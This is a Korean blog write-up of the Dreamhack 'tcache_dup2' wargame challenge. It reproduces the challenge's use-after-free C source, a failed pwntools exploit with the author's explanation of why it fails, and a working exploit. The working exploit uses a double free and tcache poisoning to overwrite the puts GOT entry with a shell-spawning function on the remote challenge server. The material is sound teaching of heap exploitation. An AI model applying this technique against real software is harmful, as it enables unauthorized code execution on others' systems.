보안/Wargame

[System Hacking] tcache_dup2

kykyky 2025. 3. 10. 09:53

소스코드 분석 & 보호기법 확인

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if (!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
if (size > 0x10)
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
if (!ptr[idx])
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while (1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}

heap chunk를 free할 때 pointer값은 초기화하지 않아 취약하다.

Exploit (실패)

from pwn import *
p = remote('host3.dreamhack.games', 16710)
#p = process('./tcache_dup2')
vul_elf = ELF('./tcache_dup2')
def create_heap(size,data):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b': ',size)
p.sendafter(b': ',data)
def modify_heap(idx,size,data):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b': ',idx)
p.sendlineafter(b': ',size)
p.sendafter(b': ',data)
def delete_heap(idx):
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',idx)
create_heap(b'32',b'a')
delete_heap(b'0')
# => free list: chunkA
puts_GOT = vul_elf.got['puts']
modify_heap(b'0',b'16',p64(puts_GOT))
# => free list: chunkA -> puts_GOT
create_heap(b'32',b'a')
# => free list: puts_GOT
get_shell = vul_elf.symbols['get_shell']
create_heap(b'32',p64(get_shell))
p.interactive()

 

문제점

modify_heap(b'0', b'16', p64(puts_GOT)) 을 통해 chunkA -> fd = puts_GOT으로 바꾸더라도,

tcache는 노드 1개인 상태임. (puts_GOT은 실제 두 번째 노드인 게 아니라 가짜 값일 뿐이게 됨.)


create_heap(b'32', b'a') 을 호출하면, tcache top(= chunkA)이 pop되면서 더 이상 tcache에 들어 있는 chunk가 없다.

 

해결책

free를 두 번 함으로써 노드가 실제로 두개가 있는 상태에서,

두번째 노드의 주소를 puts_GOT으로 바꿔야 한다.

 

Exploit (성공)

from pwn import *
p = remote('host3.dreamhack.games', 16710)
#p = process('./tcache_dup2')
vul_elf = ELF('./tcache_dup2')
def create_heap(size,data):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b': ',size)
p.sendafter(b': ',data)
def modify_heap(idx,size,data):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b': ',idx)
p.sendlineafter(b': ',size)
p.sendafter(b': ',data)
def delete_heap(idx):
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',idx)
create_heap(b'32',b'a')
delete_heap(b'0')
# => free list: chunkA
modify_heap(b'0',b'16',b'a'*9)
delete_heap(b'0')
# => free list: chunkA -> chunkA
puts_GOT = vul_elf.got['puts']
modify_heap(b'0',b'8',p64(puts_GOT))
# => free list: chunkA -> puts_GOT
create_heap(b'32',b'a')
# => free list: puts_GOT
get_shell = vul_elf.symbols['get_shell']
create_heap(b'32',p64(get_shell))
p.interactive()

 

'보안 > Wargame' 카테고리의 다른 글

[System Hacking] cmd_center  (0) 2025.03.13
[System Hacking] sint  (0) 2025.03.13
[System Hacking] tcache_dup  (0) 2025.03.07
[System Hacking] Tcache Poisoning  (0) 2025.02.13
[System Hacking] uaf_overwrite  (0) 2025.02.02